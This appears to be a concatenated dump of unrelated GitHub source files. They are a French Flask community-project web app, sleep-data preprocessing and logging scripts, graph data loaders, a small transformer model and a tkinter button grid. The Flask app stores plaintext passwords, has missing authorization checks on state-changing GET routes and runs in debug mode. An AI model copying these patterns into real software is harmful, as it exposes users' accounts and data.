cursor.fetchall()[0][0]\n          if test_id_sub(id_sub):\n               cursor.execute(\"UPDATE posts SET ratio= ratio +1 WHERE id_post=?\",(id,))\n               db.commit()\n               db.close()\n               return redirect('/')\n          else:\n               db.close()\n               return redirect('/')\n     else:\n          return render_template('erreur.html',message=\"Accès refusé\",description=\"Vous n'avez pas les droits d'accès nécessaires\") \n   \n\n# Route liée à l'onglet Demande de participation du projet n° 'id'\n@app.route('/sub/<id>/demandes')\ndef demande(id):\n     if test_verif():\n          if test_id_sub(id):\n               if is_owner(id,session.get('id')):\n                    db = sqlite3.connect('database.db')\n                    cursor = db.cursor()\n                    cursor.execute(\"SELECT utilisateur,nom,prénom FROM demande_participation JOIN utilisateurs WHERE id_user=utilisateur AND sub = ?\",(id,))\n                    data=cursor.fetchall()\n                    db.close()\n                    return render_template(\"participants.html\",id=id,data=data)\n               else :\n                    return render_template('erreur.html',message=\"Accès refusé\",description=\"Vous n'êtes pas le créateur du projet\") \n\n          else:\n               return redirect('/')\n     else:\n          return render_template('erreur.html',message=\"Accès refusé\",description=\"Vous n'avez pas les droits d'accès nécessaires\") \n\n\n\n# Route liée au bouton Accepter la participation de 'user' dans l'onglet Demande de participations du projet n° 'id'\n@app.route('/<id>/accepter/<user>')\ndef accepter(id,user):\n     if test_verif():\n          db = sqlite3.connect('database.db')\n          cursor = db.cursor()\n          if test_id_sub(id):\n               cursor.execute(\"INSERT INTO participants(sub,utilisateur) VALUES (?,?)\",(id,user))\n               cursor.execute(\"DELETE FROM demande_participation WHERE sub=? AND utilisateur=?\",(id,user))\n               db.commit()\n               db.close()\n               return redirect(url_for('demande',id=id))\n          else:\n               db.close()\n               return redirect('/')\n     else:\n          return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n    \n\n# Route liée au bouton Refuser la participation de 'user' dans l'onglet Demande de participations du projet n° 'id'\n@app.route('/<id>/refuser/<user>')\ndef refuser(id,user):\n     if test_verif():\n          db = sqlite3.connect('database.db')\n          cursor = db.cursor()\n          if test_id_sub(id):\n               cursor.execute(\"DELETE FROM demande_participation WHERE sub=? AND utilisateur=?\",(id,user))\n               db.commit()\n               db.close()\n               return redirect(url_for(demande,id=id))\n          else:\n               db.close()\n               return redirect('/')\n     else:\n          return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n    \n\n# Route liée à l'onglet Mon Profil\n@app.route('/profil')\ndef voirleprofil():\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     if test_login():\n          id_user = session.get('id')\n          cursor.execute(\"SELECT niveau FROM utilisateurs WHERE id_user=?\",(id_user,))\n          niveau=cursor.fetchall()[0][0]\n          cursor.execute(\"SELECT nom, prénom, mail, mdp FROM utilisateurs WHERE id_user=?\",(id_user,))\n          L= cursor.fetchall()\n          db.close()\n          mdp=L[0][3]\n          mdp2=''\n          for i in range(len(mdp)):\n               mdp2+='*'\n          if niveau=='A':\n               return render_template('profil.html',data='e',L=L,mdp=mdp2)\n          else:\n               return render_template('profil.html',data=1,L=L,mdp=mdp2)\n     else:\n          db.close()\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n\n# Route liée au bouton Gérer les accès des utilisateurs (accesible uniquement pour les adminastrateurs)\n@app.route('/validation')\ndef validation_utilisateur():\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     if test_login():\n          cursor.execute(\"SELECT niveau FROM utilisateurs WHERE id_user=?\",(session.get(\"id\"),))\n          niveau=cursor.fetchall()[0][0]\n          if niveau=='A':\n               cursor.execute('SELECT niveau,id_user,nom,prénom FROM utilisateurs')\n               data=cursor.fetchall()\n               db.close()\n               return render_template('validation.html',data=data)\n          else:\n               db.close()\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"Vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          db.close()\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n     \n# Route lié au bouton Mettre en 'niveau' l'utilisateur 'id' sur la page validation (pour gérer les niveaux des utilisateurs) \n@app.route('/<id>/<niveau>')\ndef update_niveau(id,niveau):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"SELECT niveau FROM utilisateurs WHERE id_user=?\",(id,))\n     niv=cursor.fetchall()\n     cursor.execute(\"SELECT niveau FROM utilisateurs WHERE id_user=?\",(session.get('id'),))\n     user=cursor.fetchall()[0][0]\n     if user=='A' and niv!=[]:\n          if niveau=='Admin':\n               cursor.execute(\"UPDATE utilisateurs SET niveau='A' WHERE id_user=?\",(id,))\n               db.commit()\n               db.close()\n               return redirect('/validation')\n          elif niveau=='Validé':\n               cursor.execute(\"UPDATE utilisateurs SET niveau='V' WHERE id_user=?\",(id,))\n               db.commit()\n               db.close()\n               return redirect('/validation')\n          else:\n               return redirect('/')\n     else:\n          db.close()\n          return render_template('erreur.html',message=\"Accès refusé\",description=\"Vous n'avez pas les droits d'accès nécessaires\") \n    \n\n# Route liée à l'ajout d'un commentaire sur le post      \n@app.route('/comment/<id>',methods=['post'])\ndef post_commentaire(id):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     if test_login():\n          if test_verif():\n               content=request.form.to_dict()\n               user=str(session.get(\"id\"))\n               if request.method=='POST':\n                    cursor.execute('INSERT INTO commentaires(contenu,posté_par,id_post,upvote) VALUES (?,?,?,?)',(content['commentaire'],user,id,0))\n                    db.commit()\n               cursor.execute(\"SELECT id_sub FROM posts WHERE id_post = ?\",(id,))\n               id_sub = cursor.fetchall()[0][0]\n               db.close()\n               return redirect('/sub/'+str(id_sub)+'/post')\n          else:\n               db.close()\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          db.close()\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n\n#affiche les abonnements de l'utilisateur connecté\n@app.route('/mesabonnements')\ndef affichageabonnements():\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     if test_login():\n          cursor.execute(\"SELECT sub, nom, mots_clés, description, création FROM abonnements INNER JOIN subs ON abonnements.sub=subs.numéro_projet WHERE utilisateur=?\",(str(session.get(\"id\")),))\n          L=cursor.fetchall()\n          db.close()\n          return render_template('mesabonnements.html',data=L)\n     else:\n          db.close()\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n#affiche les projets créés de l'utilisateur connecté\n@app.route('/mesprojets')\ndef affichageprojets():\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     if test_login():\n          cursor.execute(\"SELECT numéro_projet, nom, mots_clés, description, création FROM subs WHERE créé_par=?\",(str(session.get(\"id\")),))\n          L=cursor.fetchall()\n          db.close()\n          return render_template('mesprojets.html',data=L)\n     else:\n          db.close()\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n\n#upvote du commentaire donnée\n@app.route('/upvote/<id_com>')\ndef upvote(id_com):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     if test_login():\n          if test_verif() and com_existe(id_com):\n               cursor.execute(\"SELECT id_voteur FROM Vote_com WHERE id_com=?\",(id_com,))\n               likeur=cursor.fetchall()\n               if likeur==[]:\n                    cursor.execute(\"INSERT INTO Vote_com(id_com,id_voteur,val) VALUES(?,?,?)\",(id_com,str(session.get('id')),'P'))\n                    cursor.execute(\"UPDATE commentaires SET upvote=upvote+1 WHERE id_commentaire=?\",(id_com,))\n                    db.commit()\n               elif (session.get('id'),) not in likeur:\n                    cursor.execute(\"INSERT INTO Vote_com(id_com,id_voteur,val) VALUES(?,?,?)\",(id_com,str(session.get('id')),'P'))\n                    cursor.execute(\"UPDATE commentaires SET upvote=upvote+1 WHERE id_commentaire=?\",(id_com,))\n                    db.commit()\n               elif (session.get('id'),) in likeur:\n                    cursor.execute(\"UPDATE Vote_com SET val=? WHERE id_com=? AND id_voteur=?\",('P',id_com,str(session.get('id'))))\n                    cursor.execute(\"UPDATE commentaires SET upvote=upvote+1 WHERE id_commentaire=?\",(id_com,))\n                    db.commit()\n               cursor.execute(\"SELECT id_sub FROM posts JOIN commentaires ON commentaires.id_post=posts.id_post WHERE commentaires.id_commentaire=?\",(id_com,))\n               id=cursor.fetchall()[0][0]\n               db.close()\n               return redirect('/sub/'+str(id)+'/post')\n          else:\n               db.close()\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          db.close()\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n#downvote du commentaire donnée\n@app.route('/downvote/<id_com>')\ndef downvote(id_com):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     if test_login():\n          if test_verif() and com_existe(id_com):\n               cursor.execute(\"SELECT id_voteur FROM Vote_com WHERE id_com=?\",(id_com,))\n               likeur=cursor.fetchall()\n               if likeur==[]:\n                    cursor.execute(\"INSERT INTO Vote_com(id_com,id_voteur,val) VALUES(?,?,?)\",(id_com,str(session.get('id')),'N'))\n                    cursor.execute(\"UPDATE commentaires SET upvote=upvote-1 WHERE id_commentaire=?\",(id_com,))\n                    db.commit()\n               elif (session.get('id'),) not in likeur:\n                    cursor.execute(\"INSERT INTO Vote_com(id_com,id_voteur,val) VALUES(?,?,?)\",(id_com,str(session.get('id')),'N'))\n                    cursor.execute(\"UPDATE commentaires SET upvote=upvote-1 WHERE id_commentaire=?\",(id_com,))\n                    db.commit()\n               elif (session.get('id'),) in likeur:\n                    cursor.execute(\"UPDATE Vote_com SET val=? WHERE id_com=? AND id_voteur=?\",('N',id_com,str(session.get('id'))))\n                    cursor.execute(\"UPDATE commentaires SET upvote=upvote-1 WHERE id_commentaire=?\",(id_com,))\n                    db.commit()\n               cursor.execute(\"SELECT id_sub FROM posts JOIN commentaires ON commentaires.id_post=posts.id_post WHERE commentaires.id_commentaire=?\",(id_com,))\n               id=cursor.fetchall()[0][0]\n               db.close()\n               return redirect('/sub/'+str(id)+'/post')\n          else:\n               db.close()\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          db.close()\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n#uplike du commentaire donnée\n@app.route('/like/<id_post>')\ndef uplike(id_post):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     if test_login():\n          if test_verif() and post_existe(id_post):\n               cursor.execute(\"SELECT id_voteur FROM Vote_post WHERE id_post=?\",(id_post,))\n               likeur=cursor.fetchall()\n               if likeur==[]:\n                    cursor.execute(\"INSERT INTO Vote_post(id_post,id_voteur,val) VALUES(?,?,?)\",(id_post,str(session.get('id')),'P'))\n                    cursor.execute(\"UPDATE posts SET ratio=ratio+1 WHERE id_post=?\",(id_post,))\n                    db.commit()\n               elif (session.get('id'),) not in likeur:\n                    cursor.execute(\"INSERT INTO Vote_post(id_post,id_voteur,val) VALUES(?,?,?)\",(id_post,str(session.get('id')),'P'))\n                    cursor.execute(\"UPDATE posts SET ratio=ratio+1 WHERE id_post=?\",(id_post,))\n                    db.commit()\n               elif (session.get('id'),) in likeur:\n                    cursor.execute(\"UPDATE Vote_post SET val=? WHERE id_post=? AND id_voteur=?\",('P',id_post,str(session.get('id'))))\n                    cursor.execute(\"UPDATE posts SET ratio=ratio+1 WHERE id_post=?\",(id_post,))\n                    db.commit()\n               cursor.execute(\"SELECT id_sub FROM posts WHERE  id_post=?\",(id_post,))\n               id=cursor.fetchall()[0][0]\n               db.close()\n               return redirect('/sub/'+str(id)+'/post')\n          else:\n               db.close()\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          db.close()\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n#downlike du commentaire donnée\n@app.route('/dislike/<id_post>')\ndef downlike(id_post):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     if test_login():\n          if test_verif() and post_existe(id_post):\n               cursor.execute(\"SELECT id_voteur FROM Vote_post WHERE id_post=?\",(id_post,))\n               likeur=cursor.fetchall()\n               if likeur==[]:\n                    cursor.execute(\"INSERT INTO Vote_post(id_post,id_voteur,val) VALUES(?,?,?)\",(id_post,str(session.get('id')),'N'))\n                    cursor.execute(\"UPDATE posts SET ratio=ratio-1 WHERE id_post=?\",(id_post,))\n                    db.commit()\n               elif (session.get('id'),) not in likeur:\n                    cursor.execute(\"INSERT INTO Vote_post(id_post,id_voteur,val) VALUES(?,?,?)\",(id_post,str(session.get('id')),'N'))\n                    cursor.execute(\"UPDATE posts SET ratio=ratio-1 WHERE id_post=?\",(id_post,))\n                    db.commit()\n               elif (session.get('id'),) in likeur:\n                    cursor.execute(\"UPDATE Vote_post SET val=? WHERE id_post=? AND id_voteur=?\",('N',id_post,str(session.get('id'))))\n                    cursor.execute(\"UPDATE posts SET ratio=ratio-1 WHERE id_post=?\",(id_post,))\n                    db.commit()\n               cursor.execute(\"SELECT id_sub FROM posts WHERE  id_post=?\",(id_post,))\n               id=cursor.fetchall()[0][0]\n               db.close()\n               return redirect('/sub/'+str(id)+'/post')\n          else:\n               db.close()\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          db.close()\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n#chat du sub donné\n@app.route(\"/sub/<numsub>/chat\", methods=[\"GET\",\"POST\"])\ndef chat(numsub):\n     if test_login():\n          if test_verif():\n               user = session.get('id')\n               if is_owner(numsub,user) or est_participant(numsub,user):\n                    db = sqlite3.connect('database.db')\n                    cursor = db.cursor()\n                    id_posteur=session.get('id')\n                    cursor.execute(\"\"\"SELECT nom,prénom,message,date FROM chat JOIN utilisateurs WHERE numsub = ? AND id_user=id_posteur ORDER BY date\"\"\",(numsub,))\n                    data=cursor.fetchall()\n                    if request.method=='POST':\n                         now = time.localtime(time.time())\n                         message = request.form['message']\n                         cursor.execute(\"\"\"\n                         INSERT INTO chat(numsub,id_posteur,message,date) values(?,?,?,?)\"\"\",(numsub,id_posteur,str(message),time.strftime(\"%y/%m/%d %H:%M\", now)))\n                         db.commit()\n                         db.close()\n                    abonne = est_abonne(numsub,user)\n                    owner = is_owner(numsub,user)\n                    participant = est_participant(numsub,user)\n                    return render_template('chat.html',data=data,numsub=numsub,abonne=abonne,owner=owner,participant=participant)\n               else :\n                    return render_template('erreur.html',message=\"Accès refusé au chat\",description=\"Vous n'êtes ni le créateur du projet ni un participant\") \n    \n          else:\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\nif __name__=='__main__':\n     app.run(debug=1)\n","repo_name":"rouxmi/Bird-Democratie-Participative","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":44210,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12509022301","text":"import argparse\nimport sys\nfrom pathlib import Path\n\nfrom nsrr_data.preprocessing.process_functions import process_fns\nfrom nsrr_data.utils.logger import get_logger\n\nAVAILABLE_COHORTS = set(process_fns.keys())\nlogger = get_logger()\n\n\ndef process_cohort(cohort, *args, **kwargs):\n    process_fns[cohort](*args, **kwargs)\n\n\nif __name__ == \"__main__\":\n    # fmt: off\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-c', '--cohort', type=str, required=True, choices=AVAILABLE_COHORTS, help='Available cohorts.')\n    parser.add_argument(\"-d\", \"--data_dir\", type=Path, required=True, help=\"Path to EDF data.\")\n    parser.add_argument(\"-o\", \"--output_dir\", type=Path, default=True, help=\"Where to store H5 files.\")\n    parser.add_argument(\"--fs\", type=int, default=128, help=\"Desired resampling frequency.\")\n    parser.add_argument(\"--subjects\", type=int, default=None, help='Number of subjects to process. If None, all are processed.')\n    parser.add_argument('--splits', type=int, default=1, help=\"If processing on multiple computers, use this parameter to control the total number of splits.\")\n    parser.add_argument('--current_split', type=int, default=1, help=\"Use this to indicate the current split out of the total number of splits.\")\n    parser.add_argument('--duration', type=float, default=None, help='Duration of segments in seconds.')\n    parser.add_argument('--overlap', type=float, default=None, help='Duration of overlap between segments in seconds.')\n    parser.add_argument('--event_type', type=str, default=None, choices=['ar', 'lm', 'sdb'], help='Type of event to extract.')\n    args = parser.parse_args()\n    # fmt: on\n\n    logger.info(f'Usage: {\" \".join([x for x in sys.argv])}\\n')\n    logger.info(\"Settings:\")\n    logger.info(\"---------------------------\")\n    for idx, (k, v) in enumerate(sorted(vars(args).items())):\n        if idx == (len(vars(args)) - 1):\n            logger.info(f\"{k:>15}\\t{v}\\n\")\n        else:\n            logger.info(f\"{k:>15}\\t{v}\")\n\n    process_cohort(**vars(args))\n","repo_name":"neergaard/nsrr-data","sub_path":"nsrr_data/preprocessing/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"42092520571","text":"#! /usr/bin/python3\n\nimport logging\nimport socket\nimport time\nimport sys\n\nLOG_DIR = \"/var/log/demoLogger/\"\nHOSTNAME = socket.gethostname()\nLOG_FILE = LOG_DIR + HOSTNAME + \".log\"\n\ndef initialize_logger():\n    log = logging.getLogger(\"demo-logger\")\n    log.setLevel(level=logging.DEBUG)\n    formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n    fh = logging.FileHandler(LOG_FILE)\n    fh.setLevel(level=logging.DEBUG)\n    fh.setFormatter(formatter)\n    log.addHandler(fh)\n    return log\n    \ndef infi_logger(logger=None):\n    i = 0\n    while True:\n        logline = f\"Logging count {i}\"\n        if logger:\n            logger.info(logline)\n        else:\n            print(logline)\n        time.sleep(20)\n        i += 1\n\n\nif __name__ == \"__main__\":\n    try:\n        logger = initialize_logger()\n        infi_logger(logger)\n    except KeyboardInterrupt:\n        print(\"Stopping the demoLogger.\")\n        sys.exit(0)\n    except Exception as err:\n        print(err)\n        sys.exit(1)\n\n","repo_name":"sumedhak27/Containerized-Distributed-Logger","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16260867431","text":"\"\"\"\ndata_loaders.py\n\nFunctions to read in graph datasets.\n\"\"\"\nimport numpy as np\nfrom collections import defaultdict\nfrom networkx.readwrite import read_gpickle\nimport json\nimport torch.nn as nn\nfrom sklearn.preprocessing import StandardScaler\n\n\ndef load_cora(indir):\n    # hardcoded for simplicity...\n    num_nodes = 2708\n    num_feats = 1433\n    num_classes = 7\n    feat_data = np.zeros((num_nodes, num_feats))\n    labels = np.empty((num_nodes, 1), dtype=np.int64)\n    node_map = {}\n    label_map = {}\n    with open(indir + \"cora.content\") as fp:\n        for i, line in enumerate(fp):\n            info = line.strip().split()\n            feat_data[i, :] = map(float, info[1:-1])  # assumes python 2.7\n            node_map[info[0]] = i\n            if not info[-1] in label_map:\n                label_map[info[-1]] = len(label_map)\n            labels[i] = label_map[info[-1]]\n    #\n    adj_lists = defaultdict(set)\n    with open(indir + \"cora.cites\") as fp:\n        for i, line in enumerate(fp):\n            info = line.strip().split()\n            paper1 = node_map[info[0]]\n            paper2 = node_map[info[1]]\n            adj_lists[paper1].add(paper2)\n            adj_lists[paper2].add(paper1)\n    #\n    return feat_data, labels, adj_lists, num_nodes, num_feats, num_classes\n\n\ndef load_pubmed(indir):\n    # hardcoded for simplicity...\n    num_nodes = 19717\n    num_feats = 500\n    num_classes = 3\n    feat_data = np.zeros((num_nodes, num_feats))\n    labels = np.empty((num_nodes, 1), dtype=np.int64)\n    node_map = {}\n    with open(indir + \"Pubmed-Diabetes.NODE.paper.tab\") as fp:\n        fp.readline()\n        feat_map = {entry.split(\":\")[1]: i-1 for i, entry in enumerate(fp.readline().split(\"\\t\"))}\n        for i, line in enumerate(fp):\n            info = line.split(\"\\t\")\n            node_map[info[0]] = i\n            labels[i] = int(info[1].split(\"=\")[1])-1\n            for word_info in info[2:-1]:\n                word_info = word_info.split(\"=\")\n                feat_data[i][feat_map[word_info[0]]] = float(word_info[1])\n    #\n    adj_lists = defaultdict(set)\n    with open(indir + \"Pubmed-Diabetes.DIRECTED.cites.tab\") as fp:\n        fp.readline()\n        fp.readline()\n        for line in fp:\n            info = line.strip().split(\"\\t\")\n            paper1 = node_map[info[1].split(\":\")[1]]\n            paper2 = node_map[info[-1].split(\":\")[1]]\n            adj_lists[paper1].add(paper2)\n            adj_lists[paper2].add(paper1)\n    #\n        return feat_data, labels, adj_lists, num_nodes, num_feats, num_classes\n\n\ndef load_citation(indir):\n    raise NotImplementedError\n    return feat_data, labels, adj_lists, num_nodes, num_feats, num_classes\n\n\ndef load_ppi(indir):\n    # Hard-coded for simplicity.\n    num_classes = 121\n    #\n    G = read_gpickle(indir + \"preprocessed_ppi_graph.pkl\")\n    feat_data = np.load(indir + \"preprocessed_ppi__features.npy\")\n    labels = np.load(indir + \"preprocessed_ppi_labels.npy\")\n    training_set_size = len(np.load(indir + \"ppi_data_split_indices.npy\").item().get('train_ids'))\n    assert training_set_size == 44906, \"Original code assumed training set size 44906, which has changed. Please review\"\n    #\n    num_nodes = feat_data.shape[0]\n    num_feats = feat_data.shape[1]\n    #\n    adj_lists = defaultdict(set)\n    for node in G.nodes():\n        temp = dict(G[node])\n        if int(node) < training_set_size:\n            adj_lists[node] = set([x for x in temp if temp[x]['train_removed'] is False])\n        else:\n            adj_lists[node] = set([x for x in temp])\n    #\n    return feat_data, labels, adj_lists, num_nodes, num_feats, num_classes\n\n\ndef load_reddit(indir):\n    raise NotImplementedError\n    return feat_data, labels, adj_lists, num_nodes, num_feats, num_classes\n\n","repo_name":"PurdueMINDS/JanossyPooling","sub_path":"graphsage/janossy_gs/data_loaders.py","file_name":"data_loaders.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"18"}
{"seq_id":"69910011879","text":"import tensorflow as tf\nfrom transformer.encoder import EncoderLayer\nfrom transformer.positionalembedding import PositionalEmbedding\n\n\nclass ModelV1Part1(EncoderLayer):\n    \"\"\"\n    ModelV1的主体部分现在直接用的encoder layer\n    \"\"\"\n    pass\n\n\nclass ModelV1(tf.keras.Model):\n    \"\"\"\n    model_v1,这个model简单的由3个部分组成\n    1.embedding层\n    2.encoder层\n    3.全联接层，输出0或1\n    \"\"\"\n    def __init__(self,\n                 *,\n                 num_layers,\n                 d_model,\n                 num_heads,\n                 dff,\n                 vocab_size,\n                 dropout_rate=0):\n        super().__init__()\n\n        self.d_model = d_model\n        self.num_layers = num_layers\n\n        # 第1部分，embedding\n        self.pos_embedding = PositionalEmbedding(\n            vocab_size=vocab_size, output_dim=d_model, pos_dim=41)\n\n        # 第2部分，encoder\n        self.enc_layers = [\n            ModelV1Part1(d_model=d_model,\n                         num_heads=num_heads,\n                         dff=dff,\n                         dropout_rate=dropout_rate)\n            for _ in range(num_layers)]\n\n        # dropout层暂时未用上，为以后的实验准备\n        self.dropout = tf.keras.layers.Dropout(dropout_rate)\n\n        self.final_layer = tf.keras.layers.Dense(1)\n        # 第3部分，全联接层输出结果\n        # 3.1 这时候输出的还是一个shape为 (batch, MAX_LENGTH, embed_dim) 的张量，通过这一步变为 (batch, MAX_LENGTH, 1)\n        # self.flat_layer = tf.keras.layers.Dense(1)\n        # 3.2 再把它变为 (batch, 1)的结果，去和label比较\n        self.final_layer = tf.keras.layers.Dense(1, activation='sigmoid')\n\n    def call(self, x, *args, **kwargs):\n        # 这一步的输入为 (batch, MAX_LENGTH)\n        print('x0 shape = ', x.shape)        # x0 shape = (None, 200)\n        # 1. 经过这一步，会变为 (batch, NUM_INS * 3, embed的维度)\n        x1 = self.pos_embedding(x)\n        print('x1 shape = ', x1.shape)       # x1 shape = (None, 60, 5)\n\n        # 2. dropout暂时没加，加上接口等以后可能会用到\n        x2 = self.dropout(x1)\n        print('x2 shape = ', x2.shape)       # x2 shape = (None, 60, 5)\n\n        # 3. 所有的encoder layer层依次调用，x形状不变\n        for i in range(self.num_layers):\n            x2 = self.enc_layers[i](x2)\n        x3 = x2\n        print('x3 shape = ', x3.shape)       # x3 shape = (None, 60, 5)\n\n        # 4. 把输出变为0/1\n        x4 = tf.reshape(x3, [-1, x3.shape[1] * x3.shape[2]])\n        print('x4 shape = ', x4.shape)       # x4 shape = (None, 300)\n        # x = self.flat_layer(x)\n        # x = tf.squeeze(x, axis=-1)\n        result = self.final_layer(x4)\n        print('result shape = ', result.shape)  # result shape = (None, 1)\n        return result\n","repo_name":"anonmai/AttnCall","sub_path":"transformer/modelv1.py","file_name":"modelv1.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14666749314","text":"from tkinter import *\n\n# yellow buttons\n\ndef click_A8():\n\n    # print(\", A8\")\n\n    # how to check what is inside the field:\n\n    # print(text.get(1.0, END))\n    # print(list(text.get(1.0, END)))\n    # print(text.get(1.0, END) == \"\")\n    # print(bool(text.get(1.0, END)))\n    # print(len(text.get(1.0, END)))\n    # print(len(text.get(1.0, END))>1)\n\n    if len(text.get(1.0, END))>1:\n        text.insert(END, \", A8\")\n    else:\n        text.insert(END, \"A8\")\n\n\ndef click_C8():\n    print(\"C8\")\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", C8\")\n    else:\n        text.insert(END, \"C8\")\n\n\ndef click_B7():\n    print(\"B7\")\n\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", B7\")\n    else:\n        text.insert(END, \"B7\")\n\n\ndef click_D7():\n    print(\"D7\")\n\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", D7\")\n    else:\n        text.insert(END, \"D7\")\n\n\ndef click_A6():\n    print(\"A6\")\n\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", A6\")\n    else:\n        text.insert(END, \"A6\")\n\n\ndef click_C6():\n    print(\"C6\")\n\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", C6\")\n    else:\n        text.insert(END, \"C6\")\n\n\ndef click_B5():\n    print(\"B5\")\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", B5\")\n    else:\n        text.insert(END, \"B5\")\n\n\ndef click_D5():\n    print(\"D5\")\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", D5\")\n    else:\n        text.insert(END, \"D5\")\n\n# red buttons\n\ndef click_B8():\n    print(\"B8\")\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", B8\")\n    else:\n        text.insert(END, \"B8\")\n\ndef click_D8():\n    print(\"D8\")\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", D8\")\n    else:\n        text.insert(END, \"D8\")\n\ndef click_A7():\n    print(\"A7\")\n\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", A7\")\n    else:\n        text.insert(END, \"A7\")\n\ndef click_C7():\n    print(\"C7\")\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", C7\")\n    else:\n        text.insert(END, \"C7\")\n\ndef click_B6():\n    print(\"B6\")\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", B6\")\n    else:\n        text.insert(END, \"B6\")\n\n\ndef click_D6():\n    print(\"D6\")\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", D6\")\n    else:\n        text.insert(END, \"D6\")\n\n\ndef click_A5():\n    print(\"A5\")\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", A5\")\n    else:\n        text.insert(END, \"A5\")\n\n\ndef click_C5():\n    print(\"C5\")\n    if len(text.get(1.0, END)) > 1:\n        text.insert(END, \", C5\")\n    else:\n        text.insert(END, \"C5\")\n\n\n\n\nroot = Tk()\n\n\nLabel(text=\"A\").grid(column=2, row=0)\nLabel(text=\"B\").grid(column=3, row=0)\nLabel(text=\"C\").grid(column=4, row=0)\nLabel(text=\"D\").grid(column=5, row=0)\nLabel(text=\"8\").grid(column=1, row=1)\nLabel(text=\"7\").grid(column=1, row=2)\nLabel(text=\"6\").grid(column=1, row=3)\nLabel(text=\"5\").grid(column=1, row=4)\n\nButton(fg=\"yellow\", text=\"yellow\", width=\"10\", height=\"5\", command=click_A8).grid(column=2, row=1)\nButton(fg=\"yellow\", text=\"yellow\", width=\"10\", height=\"5\", command=click_C8).grid(column=4, row=1)\nButton(fg=\"yellow\", text=\"yellow\", width=\"10\", height=\"5\", command=click_B7).grid(column=3, row=2)\nButton(fg=\"yellow\", text=\"yellow\", width=\"10\", height=\"5\", command=click_D7).grid(column=5, row=2)\nButton(fg=\"yellow\", text=\"yellow\", width=\"10\", height=\"5\", command=click_A6).grid(column=2, row=3)\nButton(fg=\"yellow\", text=\"yellow\", width=\"10\", height=\"5\", command=click_C6).grid(column=4, row=3)\nButton(fg=\"yellow\", text=\"yellow\", width=\"10\", height=\"5\", command=click_B5).grid(column=3, row=4)\nButton(fg=\"yellow\", text=\"yellow\", 